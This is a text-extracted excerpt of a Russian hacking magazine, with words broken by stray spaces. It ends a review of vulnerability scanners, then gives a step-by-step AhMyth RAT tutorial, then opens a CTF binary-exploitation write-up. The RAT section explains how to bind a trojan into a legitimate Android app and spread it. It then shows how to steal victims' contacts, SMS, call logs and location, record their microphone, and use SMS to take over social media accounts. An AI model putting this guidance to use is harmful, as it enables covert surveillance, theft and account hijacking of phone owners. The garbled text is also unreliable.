нужн о зарегис три ровать ся на сай те комп ании.
Скаж у еще, что Kube‐hunter мож но исполь зовать не тольк о прот ив удал ен‐
ной цели. Еще его можн о уста новить как pod и ска ниро вать изнутри. Об этом
под робнее расп исано в файл е readme.
→Продолжение статьи
COVERSTORY ← НАЧАЛО СТАТЬИ
ХАК В ОДИН КЛИК
СРАВНИВАЕМ ВОЗМОЖНОСТИ
АВТОМАТИЧЕСКИХ СКАНЕРОВ УЯЗВИМОСТЕЙ
TRIVY
• Цен а: бесп лат но
Еще один ска нер безопас ности конт ей неров того же разр абот чика (Aquasec).
Для bug bounty приг оден куда меньш е пред ыду щего, но довольн о точен
и быстр. Спе циали зируе тся конк рет но на Docker. Устан ав лива ется чуть слож‐
нее, чем Kube‐hunter. Для устан овк и в Debian, Ubuntu и Kali мож но исполь‐
зовать след ующий скрипт:
sudo apt‐get install wget apt‐transport‐https gnupg lsb‐release
wget ‐qO ‐ https://aquasecurity.github.io/trivy‐repo/deb/public.key
| sudo apt‐key add ‐
echo deb https://aquasecurity.github.io/trivy‐repo/deb $(lsb_release
‐sc) main | sudo tee ‐a /etc/apt/sources.list.d/trivy.list
sudo apt‐get update
sudo apt‐get install trivy
Посл е это го можн о скан иров ать. Для это го прос то выпол ни
trivy [IMAGE_NAME]:
trivy python:3.4‐alpine
Ре зуль тат — ниже.
Total: 1 (UNKNOWN: 0, LOW: 0, MEDIUM: 1, HIGH: 0, CRITICAL: 0)
+‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐
‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| LIBRARY | VULNERABILITY ID | SEVERITY | INSTALLED VERSION | FIXED VER‐
SION | TITLE |
+‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐
‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
| openssl | CVE‐2019‐1543 | MEDIUM | 1.1.1a‐r1 | 1.1.1b‐r1
| openssl: ChaCha20‐Poly1305 |
| | | | |
| with long nonces |
+‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐
‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
Можн о ска ниро вать образ ы в виде файл ов:
trivy ‐‐input image.tar
За форм ат вывода отве чает ключ ‐f, который мож но выс тавить в json. Есть
такж е подд ер жка вывода по каст омно му шаб лону.
Что бы показать тольк о опред елен ные типы найд ен ных уяз вимост ей, нужн о
ука зать ключ ‐‐severity и через запятую перечисл ить катего рии для отоб‐
ражения (UNKNOWN, LOW, MEDIUM, HIGH, CRITICAL).
PVS-STUDIO
• Це на: ~5250 евро с воз можностью получить бесп лат но (и легаль но)
Бы вает, что в рам ках bug bounty для исслед ова ния пред лага ют исходный код
про дукт а. Однак о хороших инст ру мент ов для авто матиз ации такой работы
очень мало. Вручн ую же искать баги сре ди мил лионов строк кода — занятие
весьм а неб лагодар ное, тем более что кодовая база в активном про екте
регуляр но обновляе тся.
Исс ле доват ель устае т, да и в принц ипе не спо собен выс ледить больш инс‐
тво косяков сам. Друг ое дело — софт! И тут нам помог ли наши сооте чест вен‐
ники, соз дав PVS‐Studio. Это весьм а год ный ком мерчес кий ста тичес кий ана‐
лиза тор.
PVS‐Studio — хороший еди норог
PVS‐Studio уме ет находить баги в коде на C, C++, C# и Java. Для исполь‐
зования его нужн о скач ать с сай та раз работ чика и уста новить. Есть верс ии
для Windows (в виде рас ширения для Visual Studio), Linux (пакеты deb и rpm)
и macOS.
Скан ер тре бует регист ра ции — ввес ти ключ, получен ный от разр абот чика.
И тут я встре тил самую быст рую и дру желюбн ую реакц ию сред и всех про‐
изво дите лей ком мерчес ких ска неров.
Поль зоватьс я PVS‐Studio мож но раз работ чикам откры тых прое ктов, пуб‐
личным спе циалис там в ИБ и обла дател ям ста туса Microsoft MVP. Я получил
лицен зию по вто рому спос обу как автор «Хакера». Если ты тоже занимае шь ся
ИБ — попр обуй получить такую лиценз ию.
Есл и ты использ уешь пла гин для Visual Studio, то все най денн ые ошибк и
будут выведе ны в лог при ком пиляции или прин удит ельн ой пров ерк е.
PVS‐Studio нашел ошибк у
Ниж е — прим ер исполь зования. Я решил пров ерить код из сво ей прошл ой
статьи («Пиш ем на C# утил иту для монито рин га сети»), и обнар ужи лась ошиб‐
ка.
Ошиб ка в моем про екте
В общем, скан ер дейс твит ель но хороший и быс трый, а поль зоватьс я им
при опред елен ных обсто ятель ствах можн о и бес плат но. Жаль, для осталь ных
случ аев цена куса ется.
GITLEAKS
• Це на: бесп лат но
Как извест но, чем крупн ее прод укт, тем боль ше для его разр абот ки прив лека‐
ется подр ядчи ков и тем больш е рядовых сот рудник ов взаи мод ей ству ют с его
кодом. И пока все дейс твия выпол няют ся на вир туаль ных машинах, не под‐
клю чен ных к сети, а всех вхо дящих и выходящ их пров еряю т на рен тген овс ком
ска нере, все выг лядит хорошо. Но когд а для разр абот ки и тес тирова ния приг‐
лашаю т подр ядчик ов, которые работаю т из дома, начина ются проб лемы.
Час то в коде тес тов QA‐спе циалист ов попадаю тся прив илег иро ван ные
клю чи для дос тупа к инфраструк туре, а Security‐инжен еры забываю т при ват‐
ную информа цию в свои х публ ичных репози тория х для бэкапов. Если найт и
такой клю чик, то взлом может законч итьс я, даже не начав шись, так что нель зя
забывать про этот вект ор атак и. Подоб ные данн ые мож но най ти по зап росам
вида company.com pass и company.com private на GitHub, а мож но и с
помощью авто мати чес ких скрипт ов.
Один из таких инс трум ен тов — это Gitleaks, который быс тро и качес твен но
найд ет почт и что угодн о в любом открыт ом репозит ории. Он умее т сле‐
дующее:
• про верять локальн ые измен ения до ком мита, чтоб ы избе жать утеч ек дан‐
ных еще на ста дии разр абот ки;
• про верять любые репози тории GitHub/GitLab, в том числ е прив ат ные
репози тории, если есть ключ дост упа;
• про верять все репози тории заданн ого польз овате ля или орган изац ии;
• выд авать отчет в JSON, что удобн о для посл едую ще го авто мати ческ ого
ана лиза;
• ин тегри роватьс я с Git, чтоб ы пре дот врат ить неп реднам еренн ую утечк у.
Уст ановить его можн о с помощью Docker.
docker pull zricethezav/gitleaks
docker run ‐‐rm ‐‐name=gitleaks zricethezav/gitleaks ‐v ‐r [REPO_URL]
Исп ольз ование инст рум ен та и все его клю чи запуск а опис аны в справк е
к прог рамме, но некото рые из них я прод уб лирую здесь.
• v — деталь ный вывод сооб щений;
• repo=[REPO] — ссыл ка на репози торий для про верк и;
• disk — кло ниро вать репозит орий локаль но, что бы не исчерпать всю
память сра зу;
• usename=[USER] и password=[PASS] — ука зыва ет логин и пароль
для дост упа к при ват ному репозит орию;
• accesstoken=[TOKEN] — аль тер натива авто риза ции по логину
и паролю;
• commit=[COMMIT] — SHA комм ита для анал иза, если хочет ся про‐
верить репози торий в какой‐то момент. По умолч анию пров еряе тся
текущее сост ояние;
• repopath=[PATH] — анал изи ровать локальн ый репозит орий
по заданн ому пути;
• branch=[BRANCH] — ана лизи ровать толь ко конк рет ный branch;
• depth=[NUM] — ана лизи ровать тольк о [NUM] посл едних комм итов.
Альт ер натива — commitfrom=[COMMIT] и committo=[COMMIT],
про веря ющие комм иты межд у задан ными вклю читель но;
• threads=[NUM] — скан иро вать в неск ольк о потоков.
Что бы выпот рошить все репози тории конк рет ной орга низац ии или поль‐
зовате ля, исполь зуй след ующие парамет ры:
• org=[ORG] — искать и анал изир овать все репозит ории орга низа ции
[ORG];
• user=[USER] — то же, но для польз овател я;
• excludeforks — исклю чить из анал иза форк и репози тори ев. В них
ред ко мож но найт и что‐либо полезн ое, а вот скан иров ание эта опция
уско рит зна чительн о.
Для использ ования этой фун кции надо ука зать ути лите, какой сер вис мы
хотим задейс тво вать. Пока под держи вают ся GitHub и GitLab. Задать серв ис
можн о опцие й ‐‐host=[SERVICE], где [SERVICE] — GitHub или GitLab.
В целом инст рум ент очень хороший и част о незамен имый. Рекоменд ую
для исполь зования в bug bounty и при пен тестах.
QARK
• Це на: бес плат но
Быв ает, что нуж но про тес тировать при ложен ия для Android и iOS. И если
с про вер кой на сек ретные знач ения в коде все понят но, да и с ана лизом дан‐
ных, сохр аня емых в небезо пас ных мест ах, тоже, то некото рые баги выявить
ой как непр осто. Сюда попада ет пло хо реализ ованн ое шиф рование (с
помощью XOR, к при меру), некор рек тная обраб от ка внешн их ссы лок, откры‐
тые activity, которые рас крыв ают при ват ную информац ию, флаг android:de‐
buggable=true и так далее.
QARK (Quick App Review Kit) — бес плат ный инс тру мент, соз данный в ком‐
пании LinkedIn, для быст ро го ана лиза пакета APK на некотор ые уязв имос ти.
Их спи сок, как говорит раз работ чик, сле дующий:
• не кор рект но экспор тиру емые эле мен ты или непр авильн ые прав а дос тупа
к экспор тируе мым объе ктам;
• уязв имые интенты;
• непр авиль ная работа с сер тификат ами X.509;
• созд ание файл ов, которые дост упны дру гим при ложе ниям, и работа
с такими файл ами;
• ды рявые activity;
• ис поль зование захард ко жен ных прив ат ных клю чей;
• сла бые шифр ы;
• tapjacking;
• при ложен ие разр ешае т бэкап свое й при ват ной папк и или име ет флаг an
droid:debuggable=true.
Ути лита написа на на Python и спо соб на работать как на Linux, так и в Windows.
Устан овить мож но через pip или путем сбор ки исходни ков самост оятель но.
Пер вый спо соб:
pip install ‐‐user qark
Вто рой спо соб:
git clone https://github.com/linkedin/qark
cd qark
pip install ‐r requirements.txt
pip install . ‐‐user
Пос ле устан ов ки мож но выпол нить qark ‐‐help, что бы про читать справк у.
А можн о и не выпол нять, сейч ас я крат ко перес кажу главн ое.
Для ана лиза целого APK исполь зует ся аргум ент ‐‐apk FILE.APK:
qark ‐‐apk ./my_app.apk
Есл и ты решил тест ировать с помощью этог о инс трум ен та свой (или деком‐
пилиро ванн ый чем‐то друг им) код, то исполь зуй аргум ент ‐‐java:
qark ‐‐java ./my_app_src
Мож но прог нать через скан ер тольк о какой‐то отдельн ый файл:
qark ‐‐java ./my_app_src/Main.java
Осо бенн ость ска нера в том, что к некотор ым багам он уме ет сра зу сдел ать
эксп ло ит, но эта функ ция слег ка нес табиль на и работае т далеко не для всех
багов, так что осо бенн о надея ть ся на нее не стои т.
BURP SUITE
• Це на: бес плат но / 400 дол ларов
Был о бы стран но, если бы я не упом янул этот швейц арс кий нож из мира ска‐
неров. Это целый ком байн, который умее т работать как прокс и, скан ер уяз‐
вимос тей, паук‐крау лер, репитер зап росов или плат форма для множ ес тва
пла гинов.
WWW
Про полезн ые пла гины для Burp читай в статье
«Про качай свой Burp! 11 наибо лее полезн ых пла‐
гинов к Burp Suite».
Скан ер разр аботал а комп ания PortSwigger и вып уст ила в двух редак циях:
Community (бес плат но) и Professional (400 долл аров). Посл едняя отлич ает ся
наличие м в комп лек те боль шого количес тва плаг инов для Burp Intruder,
наличие м авто матич ес кого ска нера и отсутс твие м огран иче ний в BApp Store.
Име ется неп лохой GUI с удоб ными вклад ками, автом ати чес кие модули
для подб ора паролей, идент ифика торов, фаз зинга, кодировщ ики и рас‐
кодировщ ики данн ых в разн ых форм атах. Обзор ов Burp не делал тольк о
ленивый, так что я тольк о оставлю ссыл ку на такой обзор, что бы не повт орять‐
ся.
MOBSF
• Цен а: бес плат но
Пос ледний в этой статье, но не посл едний по ценн ости и наворот ам скан ер,
который будет отлично смот реть ся в арсе нале пен тесте ра. Это еще один ста‐
тическ ий анал изат ор мобильн ых при ложе ний, тоже написан ный на Python,
но работаю щий тольк о в Windows.
MobSF запус кает ся даже на «без головом» серв ере и открыв ает наружу
порт 8000. Если зайт и туда бра узе ром, видим типичн ое веб‐при ложен ие.
Главн ая стра ница MobSF
Заг ружае м туда APK или IPA (да, прил оже ния для iOS тоже подд ержив ают ся)
и ждем оконч ания ана лиза. Пос ле это го видим весьм а обширный отчет о най‐
ден ных багах с указ ани ем воз можност и экс плу атац ии. Цвет овая индик ация
серь езности тоже прис утст вуе т, и в целом интерфейс весь ма дру жест вен ный,
не хва тает тольк о подд ерж ки рус ско го.
Ил люс тра ция взя та из репозит ория прое кта
Ска нер уме ет ана лизи ровать код, серт ификат, которым под писано прил оже‐
ние, его манифест (AndroidManifest.xml) и позв оляе т выгр узить деком‐
пилиро ванн ый код для посл еду ющег о ана лиза в друг их прог раммах. Анал из
выпол няет ся как ста тичес ки (деком пиляция и ана лиз полученн ого кода), так
и динамич ес ки (запуск в вирт уальн ом окру жении).
Раб ота динами чес кого ана лизат ора
Можн о скач ать инст ру мент на GitHub или уста новить по инст рук ции ниже.
Для начала нам нужен Python с pip. Далее уста нови rsa след ующей
команд ой:
python ‐m pip install rsa
Скач ай скрипт устан овк и и выпол ни. Отвеч ай на вопр осы (уста нов щик инте‐
рак тивный) — и польз уйся на здор овье.
Можн о так же основную часть инс трум ент а запуст ить на одной машине (это
может быть Linux), а серв ер для ста тическ ого анал иза — на друг ой (тут нуж на
Windows). Что бы выкл ючить эту воз можность, поп равь MobSF/settings.py,
ука зав в WINDOWS_VM_IP адрес тво ей вирт уальн ой машины с RPC‐серв ером.
В целом инст ру мент очень хороший и удоб ный. Прав да, лич но у меня уста‐
нов ка вызв ала некото рые проб лемы — из‐за битых зависим ос тей.
СВОДНАЯ ТАБЛИЦА
ВЫВОДЫ
Как видишь, вов се не обя зательн о ковырять сложн ые веб‐прил ожен ия
с тысячам и стран иц и проч ий софт вручн ую. Вмес то этог о мож но пой ти
по сво им делам, сдел ать что‐нибудь по дому, ну или написать еще одну
статью в «Хакер». Огромная часть работы баг хантер а уже автом ати зиров ана,
так что, пока все сидят дома, не упус ти свой шанс зарабо тать денеж ку на мас‐
ки и анти сеп тики. Или хотя бы на плат ную лицен зию к скан еру!
ВЗЛОМ
СОЗДАЕМ RAT ДЛЯ ANDROID
С ПОМОЩЬЮ ПРОСТОГО
КОНСТРУКТОРА
Ghoustchat
[email protected]
Бла года ря ста рани ям Илон а Маск а сегод ня мож но
управлять «Тесл ой», не умея водить машину. А благ ода ря
разр аботч ику, который скры вает ся под ником AhMyth (и так
же наз вал свою прог рамму), любой желаю щий может соз‐
дать тро ян для Android, соверш енно не умея прог рамми‐
ровать. Как? Сей час покажу.
Тер мином RAT (Remote Access Tool) при нято называть ути литы удал енн ого
адми нист рир ова ния. Они могут использ овать ся в бла гих целях по свое му
прям ому наз начению, как, нап ример, зна менит ый TeamViewer, а могут уста‐
нав ливатьс я зло деями в глу бокой тайн е от польз овател я. В подоб ных случ аях
RAT нередк о расш ифро выва ют как Remote Access Trojan, и пря мой перевод
англий ско го сло ва rat — «крыс а» — тут при ходит ся как нель зя кстат и.
AhMyth RAT (Remote Access Trojan) — это прил ожен ие с открыт ым
исходным кодом, в нас тоящее вре мя находит ся на стад ии бета‐вер сии. Прог‐
рамма ори ентир ова на на польз овате лей Windows, но на GitHub можн о най ти
исходник и и для Unix‐подобн ых плат форм.
AhMyth RAT сос тоит из двух комп онен тов.
1. Серв ерное прил ожен ие, с помощью которо го мож но управлять заражен‐
ным устройс твом и генерир овать файл ы APK с вре доносн ым кодом. Соз‐
дано оно на Electron framework — фрей мворк е, разр аботан ном в GitHub
для соз дания прос тых граф ичес ких прил ожен ий.
2. Клие нт ский APK, содерж ащий вред онос ный код, который поз воляе т
получить уда лен ный дост уп к зараженн ому устрой ству. То есть наш APK
будет выпол нять функ ции бэкд ора.
УСТАНОВКА AHMYTH RAT
Серв ерная часть уста навл ива ется очень прост о, тем более автор выложил
в сво бодн ый дос туп бинар ники прогр аммы. Но при желании можн о ском‐
пилиро вать ее из исходни ков. Лич но я про водил свои тест ы на машине
под управле нием Windows 10.
Для работы ути литы нам необ ходима вирт уальн ая машина Java. Устан ав‐
ливае м ее с офиц иальн ого сай та Java. Затем нуж но ска чать бинарн ики самой
AhMyth. Их ты можешь най ти в офиц иальн ом реп озит ории про екта на GitHub,
вклад ка Assets. При ска чиван ии луч ше отклю чить анти вирус, чтоб ы его не хва‐
тил удар от про исхо дящег о.
СОЗДАЕМ ЗАРАЖЕННЫЙ APK
Что бы созд ать файл APK для Android, открой вкладк у APK Builder. Внешн ий
вид конс трук тора вред онос ных мобильн ых при ложен ий показан на сле‐
дующей иллюс тра ции.
Вклад ка с конст рук тором APK
Поль зовать ся этим инст ру мент ом очень прост о. В окне Source IP мы про‐
писы ваем IP‐адрес атак ующей машины (этот адрес потом лег ко вычисл яет ся
при исслед ова нии вред оно са). В поле Source Port ты можешь ука зать порт,
который будет зарезер вирован машиной для просл ушива ния подк люч ений.
По умол чанию использ ует ся порт 42 474.
WARNING
Пом ни, что расп ростран ение вирусов и вре‐
доносн ых прог рамм — незакон ное дей ствие
и влеч ет за собой угол ов ную ответст вен ность.
Вся информа ция пре дост авлен а исключ итель но
в ознак омит ель ных целях. Ни редак ция, ни автор
не приз ыва ют к исполь зованию полученн ых зна‐
ний в практ ичес ких целях и не несут ответс твен‐
ности за любой возм ожный вред, при чинен ный
материа лом.
Без использ ования допол нительн ой опции Bind With Another Apk ты сген ери‐
руешь мобиль ное при ложен ие тольк о с вред оносн ым кодом. И это прак‐
тичес ки бесп олез но, поск оль ку заст авить юзе ра устан овить такую прог рамму
можн о раз ве что под пыт ками.
Но есть про верен ный спос об созд ания мал вари, который использ уют все
продв инутые вир мей керы: най ти в интерне те какой‐нибудь APK и скле ить его
с вре доно сом. Для это го пост авь фла жок Bind With Another Apk, выбери нуж‐
ный APK и ука жи метод интеграц ии вре доно са в телефон. Есть два метода:
при запус ке заражен ного APK или при перезаг рузке телефо на пос ле уста нов‐
ки RAT. Авто ры прогр аммы рекоменд уют втор ой вариа нт.
Ост алось нажать кнопк у Build — по умол чанию заражен ный файл сох раня‐
ется в папк у C:\Users\<Your_Username>\AhMyth\Output.
РАСПРОСТРАНЕНИЕ И ЗАРАЖЕНИЕ
Как расп ростран яют ся собр анные таким методом вре донос ы — это отдель‐
ная тема для дис куссий. Отме чу толь ко, что в Google Play регулярн о обна‐
ружив ают зараженн ые RAT прог раммы и столь же регуляр но их оттуд а
выпили вают, что не меша ет мал вари появ лять ся в этом каталог е сно ва. Кро‐
ме того, методы соци альн ой инже нерии ник то не отмен ял. Но помн и, что
для акти вации тро яна пос ле уста нов ки при ложен ия обяз атель но нужн о запус‐
тить или перезаг рузить зараженн ое устрой ство (в зависи мос ти от наст рое к
бил дера).
Зап уск вируса на устройс тве
Для успех а так же треб ует ся, чтоб ы в нас тройк ах целево го устрой ства был
отклю чен параметр «Устан ов ка тольк о из доверенн ых источни ков».
СОЕДИНЯЕМСЯ С ЗАРАЖЕННЫМ УСТРОЙСТВОМ
Те перь нам нуж но перей ти во вклад ку Victims и вбить в поле тот же порт, что
мы ука зывал и рань ше, чтоб ы сер вер ждал под ключ ений от заражен ных
устрой ств. Опять же если ты ничего не менял при сбор ке APK, то ничего
не надо ука зывать и здесь.
Наж има ем на Listen, и, если наш APK успешно заразил мобильн ое устрой‐
ство, мы увид им новое под клю чение.
Дос тупные устройс тва
Прогр амма так же логиру ет все дей ствия в кон соли, расп оложен ной в ниж ней
част и окна. Зна чения колонок журн ала в целом очев ид ны. Country — стран а,
в которой работа ет зараженн ое устрой ство. Manuf — комп ания — изгот ови‐
тель девай са. Model — код или назв ание модели устрой ства. Release — вер‐
сия опе рацио нной сист емы заражен ного девайс а (в моем слу чае это Android
10). IP — IP‐адрес устройс тва, а Port — порт, через который инфи циро ван ный
девайс подк лю чил ся к атак ующей машине.
Теп ерь пора перехо дить к активным дейс твия м — для это го сме ло жми
на кнопк у Open The Lab.
ВОЗМОЖНОСТИ AHMYTH
На шему вним анию будет пред ложено меню из семи пун ктов, которое откры‐
вает дост уп к разн ым функ ци ям прогр аммы.
INFO
При подк лю чении к устрой ству возм ожны неболь‐
шие перебои в работе сер вера, однак о потом
под клю чение восс тан ав ливае тся. Немн ого тер‐
пения!
Кам ера
Для начала заг лянем в раз дел Camera. Выбери камеру: фронт алку (Front)
или основную (Back) — и можешь сде лать сни мок нажатие м на кноп ку Snap.
Правд а, у меня почему‐то не получил ось тол ком сфо тог рафиро вать, хотя все
мои камеры на устройс тве были успешно иниц иали зиров аны.
Кам ера работа ет, а фото не получа ется. Печаль!
Файл овый менед жер
Файл овый менед жер здесь не такой прод винутый, как в дру гих подобн ых ути‐
литах, однак о все равн о это очень полезн ая вещь. С его помощью можн о
как минимум ска чивать нужн ые нам файл ы с заражен ного устрой ства.
Как видишь, началь ная директ ория — это кор невой каталог, к котором у есть
дост уп толь ко с пра вами адми нис тра тора.
File Manager
Микр офон
Эта функ ция поз воляе т использ овать мик рофон устрой ства в фоновом
режиме и записать все, что «слыш ит» телефон в течение указ анн ого врем ени
(в окне Seconds нуж но числ ом задать про дол житель ность записи в секун дах).
Далее жмем Record и ждем. Получен ный файл можн о просл ушать прям о
в окне прогр аммы или сохр анить себе на машину.
Превр аща ем зараженн ый телефон в дик тофон
Гео поз иция
На мой взгляд, это самая интер есн ая возм ожность AhMyth. Если на инфи‐
циро ван ном устрой стве вклю чена передач а геоданн ых, ты смож ешь узнать
геопо зицию человек а с точн остью до десяти мет ров. Извест но, что неопыт‐
ные польз овате ли очень редк о вспо мина ют об этом парамет ре и оставляю т
его вклю ченн ым. Плюс некотор ые прил оже ния (те же кар ты), исполь зующие
передач у геоданн ых, ког да‐нибудь да зас тавят человек а включ ить эту фун‐
кцию.
Тут можн о узнать геопо зицию заражен ного телефон а
Кон такты
С помощью этой фун кции мож но вытащить весь спис ок конт актов, которые
записа ны в телефо не. Есть воз можность скач ать весь спис ок конт актов себе
на машину.
По луча ем спи сок конт актов
SMS
Еще один очень любопыт ный разд ел. С его помощью мы можем отпра вить
кому‐то SMS или прос мотреть и ска чать все сообщ ения, которые пришл и
на это устрой ство.
Что бы отпра вить SMS, зай ди во вклад ку Send SMS, укаж и номер телефо на
получат еля (поле TO://), а в поле Message вбей жела емый текст сообщ ения.
Пос ле это го остан ет ся тольк о нажать на кнопк у SEND.
Эту фун кцию мож но использ овать для сброс а паролей учет ных записей
вла дель ца заражен ного устройс тва, нап ример для взло ма «Вконт акте»
или Instagram.
Мы можем отпра вить сообщ ение любому получа телю
И даже просм отреть спис ок сооб щений
Жур нал вызовов
Этот разд ел открыв ает перед нами воз можность прос мотреть спис ок
телефон ных вызовов. Тут пред став лено четыре блок а информа ции о каж дом
вызове: номер, с которым свя зыва лось зараженн ое устройс тво; наз вание
конт акта, к которо му прив язан этот номер на заражен ном устройс тве; врем я
длит ель ност и вызова (в секунд ах); тип вызова (вхо дящий или исхо дящий).
Жур нал вызовов
Очень полез ный инст рум ент — разуме ется, в уме лых руках.
КАК ЗАЩИТИТЬСЯ ОТ RAT?
Как бы баналь но это ни зву чало, никог да не давай свой телефон в чужие руки
и не уста нав ливай сом нительн ые прил оже ния. На самом деле это практ ичес‐
ки единст венн ый спо соб обесп ечить собс твен ную безопас ность. И конеч но
же, всегд а обра щай вним ание на пред упр ежден ия сис темы о воз можном
вре де, который может при чинить устройс тву ска чанн ое при ложе ние.
НАПУТСТВИЕ
Над еюсь, что ты будешь использ овать ути литу AhMyth RAT толь ко в иссле‐
дова тель ских целях на свои х личн ых устройс твах. Не забывай: «Чем больш е
сила, тем больш е и ответс твенн ость»!
ВЗЛОМ
СОВСЕМ
НЕ
USELESS
CRAP
Павел Блинников КАЧАЕМ СКИЛЛ
Студент кафедры БИНАРНОЙ ЭКСПЛУАТАЦИИ
«Криптология и НА СЛОЖНОЙ ЗАДАЧЕ С CTF
кибербезопасность» НИЯУ
МИФИ. Люблю бинарщину,
CTF и бинарщину в CTF.
Telegram: @pturtle
[email protected]
PWN — одна из наибол ее самодос таточн ых категор ий тас‐
ков на CTF‐соревн ования х. Такие задания быст ро готовят
к анал изу кода в боевых усло виях, а райт апы по ним чаще
все го опи сыва ют каж дую деталь, даже если она уже была
мног ок ратно опис ана. Мы расс мотр им таск Useless Crap
с апрель ског о TG:HACK 2020. Сам автор оцен ил его слож‐
ность как Hard. Задание очень инте рес ное, во вре мя сорев‐
нования я потр атил на него око ло две надц ати часов.
ПОДГОТОВКА
Для начала расс ка жу об инст рум ен тах, которые я использ овал.
Я предп очел не выбирать однозначн о меж ду IDA и Ghidra и исполь зую
один или друг ой дизас сем блер в зависи мост и от ситу ации, но в таск ах
катего рии PWN хороший псевд окод чаще выда ет IDA.
«Ванильн ый» GDB невоз можно использ овать без очень серь езной пси‐
холо гическ ой подг отов ки, так что чаще всег о его юза ют в сочета нии с одним
из плаг инов: PEDA, GEF или pwndbg. Из них PEDA — самый ста рый (клас‐
сичес кий!) вариа нт, но я до сих пор не перее хал на один из новых, так что
использ ую его.
Такж е, пока весь мир пол ностью пере езжа ет на Python 3, раз работ чики
эксп ло итов и не дума ют о том, что бы покидать любимый Python 2. Дело
в очень непр ият ной обраб от ке raw bytes в третье й вет ке Python, прих одит ся
пост оян но дер жать в голове ее осо бен ности и тра тить лишн ее вре мя
на исправ ление возн ика ющих багов.
По лез ные допол нитель ные инст ру мен ты:
• pwntools как самый удоб ный API на Python для взаи мо дей ствия
с исполня емы ми фай лами;
• checksec — для опре делен ия защит ных механизм ов бинарн ика;
• patchelf как инс тру мент для патч инга libc и исполня емых фай лов.
ПЕРВОНАЧАЛЬНЫЙ ОСМОТР
Итак, орга низа торы дали нам бинарн ик и фай лы серв ерной libc и линк овщи ка.
Так же точ но указ ан путь до флаг а; опыт ные игро ки в CTF сраз у могут пред‐
положить, что прид ет ся писать свой шелл‐код.
Оче вид но, самое пер вое, что нужн о сдел ать, — это прос то выпол нить
бинарн ик и прим ерн о оцен ить сложн ость, быс треньк о прос мотрев security
mitigations в checksec.
Что бы исполня емый файл исполь зовал нуж ную libc, про пат чим в нем путь
до линк ера и ука жем ее в переменн ой окру жения LD_PRELOAD.
patchelf ‐‐set‐interpreter ld‐2.31.so ./crap
LD_PRELOAD=./libc‐2.31.so ./crap
Нас встреч ает незамыс ловатая менюш ка, появл яет ся надеж да на быст рое
и прос тое решение. Живет эта надеж да, правд а, недол го, прим ерн о
до открыт ия checksec.
У нас вклю чены на макс имум все защит ные механизм ы. Вот их крат кое опи‐
сание.
NX — делае т стек неисп олня емым. Око ло двад цати лет назад боль шинс‐
тво уяз вимос тей перепол нения буфера эксп лу ати ровал и запись шелл‐кода
на стек с посл едую щим прыж ком на него. NX делае т такую техн ику невоз‐
можной, одна ко сейч ас она еще жива в мире IoT.
Stack canary — опре деленн ое секр етное зна чение на стек е, записан ное
перед RBP и return pointer и, таким образ ом, защищаю щее их от переза писи
через уяз вимость перепол нения буфера.
Full RELRO — делае т сегм ент GOT дос тупным тольк о для чтен ия и раз‐
меща ет его перед сегм ентом BSS. Техн ики экс плуа тац ии через перезап ись
GOT несл ожны, но выходят за рам ки этой статьи, так что пред лагаю читате лю
самому разобр атьс я с ними. О том, что такое Global Offset Table, мож но про‐
читать, напр имер, в Вик ипе дии.
КАК РАБОТАЮТ ASLR И PIE?
ASLR — это защит ный механизм, который знач ительн о усложняе т эксп лу ата‐
цию. Его основная задача — ранд омиза ция базовых адре сов всех реги онов
памяти, кро ме сек ций, прин ад лежащих самому бинарн ику.
По сути, ASLR работа ет след ующим образ ом. В диапаз оне адре сов,
который на неск ольк о порядк ов прев ыша ет разм ер ранд омизир уемо го реги‐
она памяти, выбира ется начальн ая точ ка отсче та, базовый адрес. К нему есть
два треб ован ия:
• пос ледние три нибб ла («полубайт а») это го адрес а дол жны быть рав‐
ны 000;
• весь ранд омизир ован ный реги он не дол жен конф ликт овать с друг ими
реги онам и и выходить за рамк и пред ложен ного диапа зона.
Главн ая пробл ема ата кующе го в том, что это дейс твит ельн о работае т. Можн о
взять кон крет ный прим ер: нуж но най ти адрес фун кции system в libc, при этом
никакой информац ии о нем не извес тно. Давай прим ер но предс та вим, сколь‐
ко врем ени на это понадо бит ся. Перв ый байт любого адре са биб лиотек и поч‐
ти обяз ан быть равен 0x7f. Пос ледние три ниб бла мы зна ем, так как незави‐
симо от выбора базово го адре са они оста ются теми же при кажд ом запус ке
прогр аммы. Дос таточ но нес ложная школьн ая задач ка по комб инато рике:
2^8 * 2^8 * 2^8 * 2^4 = 2^28 = 268 435 456
Это при мер ная оценк а, так как не учи тыва ется опред елен ное количес тво
адре сов ввер ху диапаз она, которые брать нель зя, ина че остальн ой реги он
памяти тогд а не умест ится; тем не менее она дос таточ но точн ая. Допус тим,
на каж дый запуск экс пло ита в сред нем мы трат им три секун ды. Тогд а пол ный
перебор зай мет прим ер но 25 лет, что нас явно не устраи вает, ведь CTF идет
всег о 48 часов.
Ну и наконец, PIE — это, по сути, ASLR для сегм ентов памяти самого
исполня емо го фай ла. В отлич ие от базово го ASLR, который работа ет
на уров не ОС, PIE — это опцио нальн ый защит ный механизм, он может и не
прис утст во вать в бинарн ике.
РЕВЕРС-ИНЖИНИРИНГ ПРОГРАММЫ
Есть леген да, что если ревер сера разб удить сред и ночи и дать ноут бук, то он
перв ым делом откро ет IDA и нажм ет F5. Не знаю, наск оль ко это прав да,
но всегд а пос тупаю именн о так, ког да хочу разобр ать ся, как работае т неиз‐
